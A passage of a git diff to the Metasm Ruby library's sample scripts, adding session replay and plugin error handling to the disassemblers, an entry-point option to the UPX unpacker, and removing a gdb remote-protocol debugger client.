w.loadfile(exename, opts[:sc_cpu], opts[:exe_fmt]) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -73,6 +77,7 @@ else opts[:map] ||= basename + '.map' if File.exist?(basename + '.map') opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h') (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb') + opts[:session] ||= basename + '.metasm-session' end end end @@ -80,21 +85,46 @@ end ep = ARGV.map { |arg| (?0..?9).include?(arg[0]) ? Integer(arg) : arg } if exe - dasm = exe.init_disassembler + dasm = exe.disassembler dasm.load_map opts[:map] if opts[:map] dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] - dasm.disassemble_fast_deep(*ep) if opts[:fast] dasm.callback_finished = lambda { w.dasm_widget.focus_addr w.dasm_widget.curaddr, :decompile ; dasm.decompiler.finalize } if opts[:decompile] + dasm.disassemble_fast_deep(*ep) if opts[:fast] elsif dbg dbg.load_map opts[:map] if opts[:map] - opts[:plugin].to_a.each { |p| dbg.load_plugin(p) } + dbg.disassembler.parse_c_file opts[:cheader] if opts[:cheader] + opts[:plugin].to_a.each { |p| + begin + dbg.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } end if dasm w.display(dasm, ep) - opts[:plugin].to_a.each { |p| dasm.load_plugin(p) } + opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } + + if opts[:session] + if File.exist?(opts[:session]) + if opts[:newsession] + File.unlink(opts[:session]) + else + puts "replaying session #{opts[:session]}" + w.widget.replay_session(opts[:session]) + end + end + w.widget.save_session opts[:session] + end end opts[:hookstr].to_a.each { |f| eval f } diff --git a/lib/metasm/samples/disassemble.rb b/lib/metasm/samples/disassemble.rb index a3acc01610..dbc0e75ba0 100644 --- a/lib/metasm/samples/disassemble.rb +++ b/lib/metasm/samples/disassemble.rb @@ -48,10 +48,23 @@ t0 = Time.now if opts[:benchmark] if exename =~ /^live:(.*)/ raise 'no such live target' if not target = OS.current.find_process($1) p target if $VERBOSE - exe = Shellcode.decode(target.memory, Metasm.const_get(opts[:sc_cpu]).new) + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + exe = Shellcode.decode(target.memory, opts[:sc_cpu]) else - exefmt = opts[:exe_fmt] ? Metasm.const_get(opts[:exe_fmt]) : AutoExe.orshellcode { Metasm.const_get(opts[:sc_cpu]).new } - exefmt = exefmt.withcpu(Metasm.const_get(opts[:sc_cpu]).new) if opts[:exe_fmt] == 'Shellcode' and opts[:sc_cpu] + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ + if opts[:exe_fmt].kind_of?(::String) + exefmt = opts[:exe_fmt] = Metasm.const_get(opts[:exe_fmt]) + else + exefmt = opts[:exe_fmt] || AutoExe.orshellcode { + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of?(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + opts[:sc_cpu] + } + end + exefmt = exefmt.withcpu(opts[:sc_cpu]) if exefmt.kind_of?(::Class) and exefmt.name.to_s.split('::').last == 'Shellcode' exe = exefmt.decode_file(exename) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -62,7 +75,7 @@ else end end # set options -dasm = exe.init_disassembler +dasm = exe.disassembler makeint = lambda { |addr| case addr when /^[0-9].*h/; addr.to_i(16) @@ -75,13 +88,19 @@ dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] opts[:stopaddr].to_a.each { |addr| dasm.decoded[makeint[addr]] = true } -opts[:plugin].to_a.each { |p| dasm.load_plugin p } +opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} opts[:hookstr].to_a.each { |f| eval f } t1 = Time.now if opts[:benchmark] # do the work begin - method = opts[:fast] ? :disassemble_fast : :disassemble + method = opts[:fast] ? :disassemble_fast_deep : :disassemble if ARGV.empty? exe.send(method) else @@ -98,7 +117,13 @@ if opts[:decompile] tdc = Time.now if opts[:benchmark] end -opts[:post_plugin].to_a.each { |p| dasm.load_plugin p } +opts[:post_plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} dasm.save_file(opts[:savefile]) if opts[:savefile] diff --git a/lib/metasm/samples/dump_upx.rb b/lib/metasm/samples/dump_upx.rb index 4bb199fa35..1839ffbdb0 100644 --- a/lib/metasm/samples/dump_upx.rb +++ b/lib/metasm/samples/dump_upx.rb @@ -10,7 +10,7 @@ # original entrypoint by disassembling the UPX stub, set breakpoint on it, # run the program, and dump the loaded image to an executable PE. # -# usage: dump_upx.rb [] [] +# usage: dump_upx.rb [] [] [--oep ] # require 'metasm' @@ -21,17 +21,22 @@ class UPXUnpacker # find the oep by disassembling # run it until the oep # dump the memory image - def initialize(file, dumpfile, iat_rva=nil) - @dumpfile = dumpfile || 'upx-dumped.exe' - @iat = iat_rva + def initialize(file, oep, iat, dumpfile) + @dumpfile = dumpfile + @dumpfile ||= file.chomp('.exe') + '.dump.exe' puts 'disassembling UPX loader...' pe = PE.decode_file(file) - @oep = find_oep(pe) - raise 'cant find oep...' if not @oep - puts "oep found at #{Expression[@oep]}" @baseaddr = pe.optheader.image_base - @iat -= @baseaddr if @iat > @baseaddr # va => rva + + @oep = oep + @oep -= @baseaddr if @oep and @oep > @baseaddr # va => rva + @oep ||= find_oep(pe) + raise 'cant find oep...' if not @oep + puts "oep found at #{Expression[@oep]}" if not oep + + @iat = iat + @iat -= @baseaddr if @iat and @iat > @baseaddr @dbg = OS.current.create_process(file).debugger puts 'running...' @@ -40,7 +45,7 @@ class UPXUnpacker # disassemble the upx stub to find a cross-section jump (to the real entrypoint) def find_oep(pe) - dasm = pe.disassemble_fast 'entrypoint' + dasm = pe.disassemble_fast_deep 'entrypoint' return if not jmp = dasm.decoded.find { |addr, di| # check only once per basic block @@ -80,7 +85,8 @@ class UPXUnpacker dump.sections.each { |s| s.characteristics |= ['MEM_WRITE'] } # write the PE file to disk - dump.encode_file @dumpfile + # as UPX strips the relocation information, mark the exe to opt-out from ASLR + dump.encode_file @dumpfile, 'exe', false puts 'dump complete' ensure @@ -90,6 +96,12 @@ class UPXUnpacker end if __FILE__ == $0 - # args: packed [unpacked] [iat rva] - UPXUnpacker.new(ARGV.shift, ARGV.shift, (Integer(ARGV.shift) rescue nil)) + fn = ARGV.shift + oep = Integer(ARGV.shift) unless ARGV.empty? + oep = nil if oep == -1 + iat = Integer(ARGV.shift) unless ARGV.empty? + iat = nil if iat == -1 + out = ARGV.shift + abort 'usage: dump [] [] []' if not File.exist?(fn) + UPXUnpacker.new(fn, oep, iat, out) end diff --git a/lib/metasm/samples/dynamic_ruby.rb b/lib/metasm/samples/dynamic_ruby.rb index 705706d7e6..d86e3b5813 100644 --- a/lib/metasm/samples/dynamic_ruby.rb +++ b/lib/metasm/samples/dynamic_ruby.rb @@ -289,12 +289,15 @@ EOS m ? @cp.dump_definition(m) : @cp.to_s end + @@optim_hint = {} + def self.optim_hint; @@optim_hint; end + attr_accessor :optim_hint def initialize(cp=nil) @cp = cp || DynLdr.host_cpu.new_cparser @cp.parse RUBY_H @iter_break = nil - @optim_hint = {} + @optim_hint = @@optim_hint.dup end # convert a ruby AST to a new C function @@ -408,7 +411,7 @@ EOS ast_to_c(a, els, false) @scope.statements << C::If.new(cnd, thn, els) } - end + end if args[3] raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn @@ -547,7 +550,7 @@ EOS body_other_head = fu end body_other = fu - end + end # default case statement else @@ -773,7 +776,7 @@ EOS e = ast[3].dup e[-1] = [:call, [:call, [:rb2cvar, full.name], '[]', [:array, [:dot2, [:lit, ast[1].length-1], [:lit, -1]]]], 'to_a'] ast_to_c(e, scope, false) - end + end full end @@ -822,7 +825,7 @@ EOS l = local(ast[1], :none) else # w = 4 if false ; p w => should be nil - l = local(ast[1]) + l = local(ast[1]) end st = ast_to_c(ast[2], scope, l) scope.statements << C::CExpression[l, :'=', st] if st != l @@ -885,7 +888,7 @@ EOS if idx scope.statements << rb_funcall(recv, ast[2], idx, arg) else - scope.statements << rb_funcall(recv, ast[2], arg) + scope.statements << rb_funcall(recv, ast[2], arg) end tmp @@ -926,17 +929,17 @@ EOS ast[1][1..-1].each { |k| if not ki ki = k - else + else scope.statements << fcall('rb_hash_aset', tmp, ast_to_c(ki, scope), ast_to_c(k, scope)) ki = nil - end + end } tmp when :iter if v = optimize_iter(ast, scope, want_value) return v - end + end # for full support of :iter, we need access to the interpreter's ruby_block private global variable in eval.c # we can find it by analysing rb_block_given_p, but this won't work with a static precompiled rubyhack... # even with access to ruby_block, there we would need to redo PUSH_BLOCK, create a temporary dvar list, @@ -993,7 +996,7 @@ EOS tbdy.statements << C::CExpression[tmp, :'=', thn] if tmp != thn if ast[3] els = ast_to_c(ast[3], ebdy, tmp) - else + else # foo = if bar ; baz ; end => nil if !bar els = rb_nil end @@ -1135,10 +1138,10 @@ EOS args = ast[3][1..-1] if ast[3] and ast[3][0] == :array arg0 = args[0] if args and args[0] - if arg0 and arg0[0] == :lit and arg0[1].kind_of? Fixnum + if arg0 and arg0[0] == :lit and arg0[1].kind_of?(Fixnum) and %w[== > < >= <= + -].include?(op) + # TODO or @optim_hint[ast[1]] == 'fixnum' # optimize 'x==42', 'x+42', 'x-42' o2 = arg0[1] - return if not %w[== > < >= <= + -].include? op if o2 < 0 and ['+', '-'].include? op # need o2 >= 0 for overflow detection op = {'+' => '-', '-' => '+'}[op] @@ -1177,7 +1180,7 @@ EOS # add_optimized_statement wont handle the overflow check correctly scope.statements << t else - scope.statements << C::If.new(cnd, t, e) + scope.statements << C::If.new(cnd, t, e) end when '-' e = ce[recv, :-, [int_v-1]] @@ -1187,8 +1190,8 @@ EOS if @optim_hint[ast[1]] == 'fixnum' scope.statements << t else - scope.statements << C::If.new(cnd, t, e) - end + scope.statements << C::If.new(cnd, t, e) + end end tmp @@ -1809,8 +1812,8 @@ EOS ctr = C::CExpression[:'++', [@rb_fcntr, :'[]', [@rb_fcid]]] C::CExpression[ctr, :',', super(recv, meth, *args)] - end end + end end end @@ -1819,6 +1822,12 @@ end if __FILE__ == $0 or ARGV.delete('ignore_argv0') +while i = ARGV.index('-e') + # setup optim_hint etc + ARGV.delete_at(i) + eval ARGV.delete_at(i) +end + demo = case ARGV.first when nil; :test_jit when 'asm'; :inlineasm @@ -1898,10 +1907,10 @@ when :compile_ruby when :test_jit class Foo def bla(x=500) - i = 0 + i = 0 x.times { i += 16 } - i - end + i + end end t0 = Time.now diff --git a/lib/metasm/samples/exeencode.rb b/lib/metasm/samples/exeencode.rb index bf38ec3f4e..58e8dd49c9 100644 --- a/lib/metasm/samples/exeencode.rb +++ b/lib/metasm/samples/exeencode.rb @@ -26,7 +26,8 @@ $opts = { OptionParser.new { |opt| opt.on('-o file', 'output filename') { |f| $opts[:outfilename] = f } - opt.on('-f') { $opts[:overwrite_outfile] = true } + opt.on('-i', 'dont overwrite existing outfile') { $opts[:nooverwrite_outfile] = true } + opt.on('-f', 'overwrite existing outfile (default)') { $opts.delete :nooverwrite_outfile } # without this, optparse autocomplete to --fno-pic and break older scripts... opt.on('--c', 'parse source as a C file') { $opts[:srctype] = 'c' } opt.on('--asm', 'parse asm as an ASM file') { $opts[:srctype] = 'asm' } opt.on('--stdin', 'parse source on stdin') { ARGV << '-' } @@ -44,7 +45,7 @@ OptionParser.new { |opt| opt.on('--le', 'set cpu in little-endian mode') { $opts[:cpu].endianness = :little } opt.on('--be', 'set cpu in big-endian mode') { $opts[:cpu].endianness = :big } opt.on('--fno-pic', 'generate position-dependant code') { $opts[:cpu].generate_PIC = false } - opt.on('--shared', 'generate shared library') { $opts[:exetype] = :lib } + opt.on('--shared', '--lib', '--dll', 'generate shared library') { $opts[:exetype] = :lib } opt.on('--ruby-module-hack', 'use the dynldr module hack to use any ruby lib available for ruby symbols') { $opts[:dldrhack] = true } }.parse! @@ -62,7 +63,7 @@ else src << DATA.read # the text after __END__ in this file end -if $opts[:outfilename] and not $opts[:overwrite_outfile] and File.exist?($opts[:outfilename]) +if $opts[:outfilename] and $opts[:nooverwrite_outfile] and File.exist?($opts[:outfilename]) abort "Error: target file exists !" end @@ -93,7 +94,7 @@ if $opts[:to_string] end if of = $opts[:outfilename] - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] File.open(of, 'w') { |fd| fd.puts str } puts "saved to file #{of.inspect}" else @@ -101,7 +102,7 @@ if $opts[:to_string] end else of = $opts[:outfilename] ||= 'a.out' - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] Metasm::DynLdr.compile_binary_module_hack(exe) if $opts[:dldrhack] exe.encode_file(of, $opts[:exetype]) puts "saved to file #{of.inspect}" diff --git a/lib/metasm/samples/factorize-headers-peimports.rb b/lib/metasm/samples/factorize-headers-peimports.rb index 378b7598a6..294426fabd 100644 --- a/lib/metasm/samples/factorize-headers-peimports.rb +++ b/lib/metasm/samples/factorize-headers-peimports.rb @@ -41,18 +41,13 @@ if opts[:vspath] ||= ARGV.shift end funcnames = opts[:exe].map { |e| - pe = PE.decode_file_header(e) rescue nil - - pe.decode_imports if pe - if pe and not pe.imports + pe = PE.decode_file_header(e) rescue next + pe.decode_imports + if not pe.imports puts "#{e} has no imports" next end - if pe - pe.imports.map { |id| id.imports.map { |i| i.name } } - else - [] - end + pe.imports.map { |id| id.imports.map { |i| i.name } } }.flatten.compact.uniq.sort ARGV.each { |n| diff --git a/lib/metasm/samples/gdbclient.rb b/lib/metasm/samples/gdbclient.rb deleted file mode 100644 index 9aabd2cf8e..0000000000 --- a/lib/metasm/samples/gdbclient.rb +++ /dev/null @@ -1,583 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this is a rubstop-api compatible Gdb stub -# it can connect to a gdb server and interface with the lindebug frontend -# linux/x86 only -# - -require 'socket' -require 'metasm' - -class GdbRemoteString < Metasm::VirtualString - attr_accessor :gdbg - - def initialize(gdbg, addr_start=0, length=0xffff_ffff) - @gdbg = gdbg - @pagelength = 512 - super(addr_start, length) - end - - def dup(addr=@addr_start, len=@length) - self.class.new(@gdbg, addr, len) - end - - def rewrite_at(addr, data) - len = data.length - off = 0 - while len > @pagelength - @gdbg.setmem(addr+off, data[off, @pagelength]) - off += @pagelength - len -= @pagelength - end - @gdbg.setmem(addr+off, data[off, len]) - end - - def get_page(addr) - @gdbg.getmem(addr, @pagelength) - end -end - -class Rubstop - EFLAGS = {0 => 'c', 2 => 'p', 4 => 'a', 6 => 'z', 7 => 's', 9 => 'i', 10 => 'd', 11 => 'o'} - GDBREGS = %w[eax ecx edx ebx esp ebp esi edi eip eflags cs ss ds es fs gs] # XXX [77] = 'orig_eax' - # define accessors for registers - GDBREGS.compact.each { |reg| - define_method(reg) { regs_cache[reg] } - define_method(reg + '=') { |v| regs_cache[reg] = v ; regs_dirty } - } - - # compute the hex checksum used in gdb protocol - def gdb_csum(buf) - '%02x' % (buf.unpack('C*').inject(0) { |cs, c| cs + c } & 0xff) - end - - # send the buffer, waits ack - # return true on success - def gdb_send(cmd, buf='') - buf = cmd + buf - buf = '$' << buf << '#' << gdb_csum(buf) - log "gdb_send(#{buf[0, 32].inspect}#{'...' if buf.length > 32})" if $DEBUG - - 5.times { - @io.write buf - loop do - if not IO.select([@io], nil, nil, 1) - break - end - raise Errno::EPIPE if not ack = @io.read(1) - case ack - when '+' - return true - when '-' - log "gdb_send: ack neg" if $DEBUG - break - when nil; return - end - end - } - log "send error #{cmd.inspect} (no ack)" - false - end - - # return buf, or nil on error / csum error - def gdb_readresp - state = :nosync - buf = '' - cs = '' - while state != :done - # XXX timeout etc - raise Errno::EPIPE if not c = @io.read(1) - case state - when :nosync - if c == '$' - state = :data - end - when :data - if c == '#' - state = :csum1 - else - buf << c - end - when :csum1 - cs << c - state = :csum2 - when :csum2 - cs << c - state = :done - if cs.downcase != gdb_csum(buf).downcase - log "transmit error" - @io.write '-' - return - end - end - end - @io.write '+' - - if buf =~ /^E(..)$/ - e = $1.to_i(16) - log "error #{e} (#{Metasm::PTrace::ERRNO.index(e)})" - return - end - log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG - - buf - end - - def gdb_msg(*a) - if gdb_send(*a) - gdb_readresp - end - end - - # rle: build the regexp that will match repetitions of a character, skipping counts leading to invalid char - rng = [3..(125-29)] - [?+, ?-, ?#, ?$].sort.each { |invalid| - invalid -= 29 - rng.each_with_index { |r, i| - if r.include? invalid - replace = [r.begin..invalid-1, invalid+1..r.end] - replace.delete_if { |r_| r_.begin > r_.end } - rng[i, 1] = replace - end - } - } - repet = rng.reverse.map { |r| "\\1{#{r.begin},#{r.end}}" }.join('|') - RLE_RE = /(.)(#{repet})/ - - # rle-compress a buffer - # a character followed by '*' followed by 'x' is asc(x)-28 repetitions of the char - # eg '0* ' => '0' * (asc(' ') - 28) = '0000' - # for the count character, it must be 32 <= char < 126 and not be '+' '-' '#' or '$' - def rle(buf) - buf.gsub(RLE_RE) { - chr, len = $1, $2.length+1 - chr + '*' + (len+28).chr - } - end - # decompress rle-encoded data - def unrle(buf) buf.gsub(/(.)\*(.)/) { $1 * ($2[0]-28) } end - # send an integer as a long hex packed with leading 0 stripped - def hexl(int) [int].pack('N').unpack('H*').first.gsub(/^0+(.)/, '\1') end - # send a binary buffer as a rle hex-encoded - def hex(buf) buf.unpack('H*').first end - # decode an rle hex-encoded buffer - def unhex(buf) - buf = buf[/^[a-fA-F0-9]*/] - buf = '0' + buf if buf.length % 1 == 1 - [buf].pack('H*') - end - - # on-demand local cache of registers - def regs_cache - readregs if @regs_cache.empty? - @regs_cache - end - - # retrieve remote regs - def readregs - sync_regs - if buf = gdb_msg('g') - regs = unhex(unrle(buf)) - if regs.length < GDBREGS.length*4 - # retry once, was probably a response to something else - puts "bad regs size!" if $DEBUG - buf = gdb_msg('g') - regs = unhex(unrle(buf)) if buf - if not buf or regs.length < GDBREGS.length*4 - raise "regs buffer recv is too short !" - end - end - @regs_dirty = false - @regs_cache = Hash[GDBREGS.zip(regs.unpack('L*'))] - end - @curinstr = nil if @regs_cache['eip'] != @oldregs['eip'] - end - - # mark local cache of regs as modified, need to send it before continuing execution - def regs_dirty - @regs_dirty = true - end - - # send the local copy of regs if dirty - def sync_regs - if not @regs_cache.empty? and @regs_dirty - send_regs - end - end - - # send the local copy of regs - def send_regs - return if @regs_cache.empty? - regs = @regs_cache.values_at(*GDBREGS) - @regs_dirty = false - gdb_msg('G', hex(regs.pack('L*'))) - end - - # read memory (small blocks prefered) - def getmem(addr, len) - return '' if len == 0 - if mem = gdb_msg('m', hexl(addr) << ',' << hexl(len)) - unhex(unrle(mem)) - end - end - - # write memory (small blocks prefered) - def setmem(addr, data) - len = data.length - return if len == 0 - raise 'writemem error' if not gdb_msg('M', hexl(addr) << ',' << hexl(len) << ':' << rle(hex(data))) - end - - # read arbitrary blocks of memory (chunks to getmem) - def [](addr, len) - @pgm.encoded[addr, len].data rescue '' - end - - # write arbitrary blocks of memory (chunks to getmem) - def []=(addr, len, str) - @pgm.encoded[addr, len] = str - end - - def curinstr - @curinstr ||= mnemonic_di - end - - def mnemonic_di(addr = eip) - @pgm.encoded.ptr = addr - di = @pgm.cpu.decode_instruction(@pgm.encoded, addr) - @curinstr = di if addr == @regs_cache['eip'] - di - end - - def mnemonic(addr = eip) - mnemonic_di(addr).instruction - end - - def pre_run - @oldregs = regs_cache.dup - sync_regs - end - - def post_run - @regs_cache.clear - @curinstr = nil - @mem.invalidate - end - - def quiet - @quiet = true - begin - yield - ensure - @quiet = false - end - end - - def log_stopped(msg) - return if @quiet ||= false - case msg[0] - when ?T - sig = [msg[1, 2]].pack('H*')[0] - misc = msg[3..-1].split(';').inject({}) { |h, s| k, v = s.split(':', 2) ; h.update k => (v || true) } - str = "stopped by signal #{sig}" - str = "thread #{[misc['thread']].pack('H*').unpack('N').first} #{str}" if misc['thread'] - log str - when ?S - sig = [msg[1, 2]].pack('H*')[0] - log "stopped by signal #{sig}" - end - end - - def cont - pre_run - do_singlestep if @wantbp - rmsg = gdb_msg('c') - post_run - ccaddr = eip-1 - if @breakpoints[ccaddr] and self[ccaddr, 1] == "\xcc" - self[ccaddr, 1] = @breakpoints.delete ccaddr - mem.invalidate - self.eip = ccaddr - @wantbp = ccaddr if not @singleshot.delete ccaddr - sync_regs - end - log_stopped rmsg - end - - def singlestep - pre_run - do_singlestep - post_run - end - - def do_singlestep - gdb_msg('s') - if @wantbp - self[@wantbp, 1] = "\xcc" - @wantbp = nil - end - end - - def stepover - i = curinstr.instruction if curinstr - if i and (i.opname == 'call' or (i.prefix and i.prefix[:rep])) - eaddr = eip + curinstr.bin_length - bpx eaddr, true - quiet { cont } - else - singlestep - end - end - - def stepout - stepover until curinstr and curinstr.opcode.name == 'ret' - singlestep - rescue Interrupt - log 'interrupted' - end - - def bpx(addr, singleshot=false) - return if @breakpoints[addr] - @singleshot[addr] = true if singleshot - @breakpoints[addr] = self[addr, 1] - self[addr, 1] = "\xcc" - end - - - def kill - gdb_send('k') - end - - def detach - # TODO clear breakpoints - gdb_send('D') - end - - attr_accessor :pgm, :breakpoints, :singleshot, :wantbp, - :symbols, :symbols_len, :filemap, :oldregs, :io, :mem - def initialize(io) - case io - when IO; @io = io - when /^udp:([^:]*):(\d+)$/; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?([^:]*):(\d+)$/; @io = TCPSocket.open($1, $2) - else raise "unknown target #{io.inspect}" - end - @pgm = Metasm::ExeFormat.new Metasm::Ia32.new - @mem = GdbRemoteString.new self - @pgm.encoded = Metasm::EncodedData.new @mem - @regs_cache = {} - @regs_dirty = nil - @oldregs = {} - @breakpoints = {} - @singleshot = {} - @wantbp = nil - @symbols = {} - @symbols_len = {} - @filemap = {} - - gdb_setup - end - - def gdb_setup - #gdb_msg('q', 'Supported') - #gdb_msg('Hc', '-1') - #gdb_msg('qC') - if not gdb_msg('?') - log "nobody on the line, waiting for someone to wake up" - IO.select([@io], nil, nil, nil) - log "who's there ?" - end - end - - def set_hwbp(type, addr, len=1, set=true) - set = (set ? 'Z' : 'z') - type = { 'r' => '3', 'w' => '2', 'x' => '1', 's' => '0' }[type] || raise("invalid hwbp type #{type}") - gdb_msg(set, type << ',' << hexl(addr) << ',' << hexl(len)) - true - end - - def unset_hwbp(type, addr, len=1) - set_hwbp(type, addr, len, false) - end - - - def findfilemap(s) - @filemap.keys.find { |k| @filemap[k][0] <= s and @filemap[k][1] > s } || '???' - end - - def findsymbol(k) - file = findfilemap(k) + '!' - if s = @symbols[k] ? k : @symbols.keys.find { |s_| s_ < k and s_ + @symbols_len[s_].to_i > k } - file + @symbols[s] + (s == k ? '' : "+#{(k-s).to_s(16)}") - else - file + ('%08x' % k) - end - end - - def loadsyms(baseaddr, name) - @loadedsyms ||= {} - return if @loadedsyms[name] or self[baseaddr, 4] != "\x7fELF" - @loadedsyms[name] = true - - set_status " loading symbols from #{name}..." - e = Metasm::LoadedELF.load self[baseaddr, 0x100_0000] - e.load_address = baseaddr - begin - e.decode - #e = Metasm::ELF.decode_file name rescue return # read from disk - rescue - log "failed to load symbols from #{name}: #$!" - ($!.backtrace - caller).each { |l| log l.chomp } - @filemap[baseaddr.to_s(16)] = [baseaddr, baseaddr+0x1000] - return - rescue Interrupt - log "interrupted" - end - - if e.tag['SONAME'] - name = e.tag['SONAME'] - return if name and @loadedsyms[name] - @loadedsyms[name] = true - end - - last_s = e.segments.reverse.find { |s| s.type == 'LOAD' } - vlen = last_s.vaddr + last_s.memsz - vlen -= baseaddr if e.header.type == 'EXEC' - @filemap[name] = [baseaddr, baseaddr + vlen] - - oldsyms = @symbols.length - e.symbols.each { |s| - next if not s.name or s.shndx == 'UNDEF' - sname = s.name - sname = 'weak_'+sname if s.bind == 'WEAK' - sname = 'local_'+sname if s.bind == 'LOCAL' - v = s.value - v = baseaddr + v if v < baseaddr - @symbols[v] = sname - @symbols_len[v] = s.size - } - if e.header.type == 'EXEC' and e.header.entry >= baseaddr and e.header.entry < baseaddr + vlen - @symbols[e.header.entry] = 'entrypoint' - end - set_status nil - log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}" - end - - # scan val at the beginning of each page (custom gdb msg) - def pageheadsearch(val) - resp = gdb_msg('qy', hexl(val)) - unhex(resp).unpack('L*') - end - - def scansyms - # TODO use qSymbol or something - pageheadsearch("\x7fELF".unpack('L').first).each { |addr| loadsyms(addr, '%08x'%addr) } - end - - # use qSymbol to retrieve a symbol value (uint) - def request_symbol(name) - resp = gdb_msg('qSymbol:', hex(name)) - if resp and a = resp.split(':')[1] - unhex(a).unpack('N').first - end - end - - def loadallsyms - # kgdb: read kernel symbols from 'module_list' - # too bad module_list is not in ksyms - if mod = request_symbol('module_list') - int_at = lambda { |addr, off| @mem[addr+off, 4].unpack('L').first } - mod_size = lambda { int_at[mod, 0] } - mod_next = lambda { int_at[mod, 4] } - mod_nsym = lambda { int_at[mod, 0x18] } # most portable. yes. - mod_syms = lambda { int_at[mod, 0x20] } - - read_strz = lambda { |addr| - if i = @mem.index(?\0, addr) - @mem[addr...i] - end - } - - while mod != 0 - symtab = [[]] - - @mem[mod_syms[], mod_nsym[]*8].to_str.unpack('L*').each { |i| - # make a list of couples - if symtab.last.length < 2 - symtab.last << i - else - symtab << [i] - end - } - - symtab.each { |v, n| - n = read_strz[n] - # ||= to keep symbol precedence order (1st match wins) - @symbols[v] ||= n - } - - mod = mod_next[] - end - end - end - - def loadmap(mapfile) - # file fmt: addr type name eg 'c01001ba t setup_idt' - minaddr = maxaddr = nil - File.read(mapfile).each { |l| - addr, type, name = l.chomp.split - addr = addr.to_i(16) - minaddr = addr if not minaddr or minaddr > addr - maxaddr = addr if not maxaddr or maxaddr < addr - @symbols[addr] = name - } - if minaddr - @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1] - end - end - - def backtrace - s = findsymbol(eip) - if block_given? - yield s - else - bt = [] - bt << s - end - fp = ebp - while fp >= esp and fp <= esp+0x100000 - s = findsymbol(self[fp+4, 4].unpack('L').first) - if block_given? - yield s - else - bt << s - end - fp = self[fp, 4].unpack('L').first - end - bt - end - - attr_accessor :logger - def log(s) - @logger ||= $stdout - @logger.puts s - end - - # set a temporary status info (nil for default value) - def set_status(s) - @logger ||= $stdout - if @logger != $stdout - @logger.statusline = s - else - s ||= ' '*72 - @logger.print s + "\r" - @logger.flush - end - end - - def checkbp ; end -end diff --git a/lib/metasm/samples/lindebug.rb b/lib/metasm/samples/lindebug.rb index 2d20c04eeb..7976bdaafa 100644 --- a/lib/metasm/samples/lindebug.rb +++ b/lib/metasm/samples/lindebug.rb @@ -47,14 +47,15 @@ module Ansi $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25] end def self.set_term_canon(bool) - tty = ''.ljust(256) - $stdin.ioctl(TCGETS, tty) + ttys = ''.ljust(256) + $stdin.ioctl(TCGETS, ttys) + tty = ttys.unpack('C*') if bool tty[12] &= ~(ECHO|CANON) else tty[12] |= ECHO|CANON end - $stdin.ioctl(TCSETS, tty) + $stdin.ioctl(TCSETS, tty.pack('C*')) end ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left, @@ -85,49 +86,11 @@ module Ansi end end -class Indirect < Metasm::ExpressionType - attr_accessor :ptr, :sz - UNPACK_STR = {1 => 'C', 2 => 'S', 4 => 'L'} - def initialize(ptr, sz) @ptr, @sz = ptr, sz end - def bind(bd) - raw = bd['tracer_memory'][@ptr.bind(bd).reduce, @sz] - Metasm::Expression[raw.unpack(UNPACK_STR[@sz]).first] - end - def externals ; @ptr.externals end -end - -class ExprParser < Metasm::Expression - def self.parse_intfloat(lex, tok) - case tok.raw - when 'byte', 'word', 'dword' - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == 'ptr' - if ntok and ntok.raw == '[' - tok.value = Indirect.new(parse(lex), {'byte' => 1, 'word' => 2, 'dword' => 4}[tok.raw]) - nil while ntok = lex.readtok and ntok.type == :space - nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == ']' - lex.unreadtok ntok - end - else super(lex, tok) - end - end - def self.parse_value(lex) - nil while tok = lex.readtok and tok.type == :space - lex.unreadtok tok - if tok and tok.type == :punct and tok.raw == '[' - tt = tok.dup - tt.type = :string - tt.raw = 'dword' - lex.unreadtok tt - end - 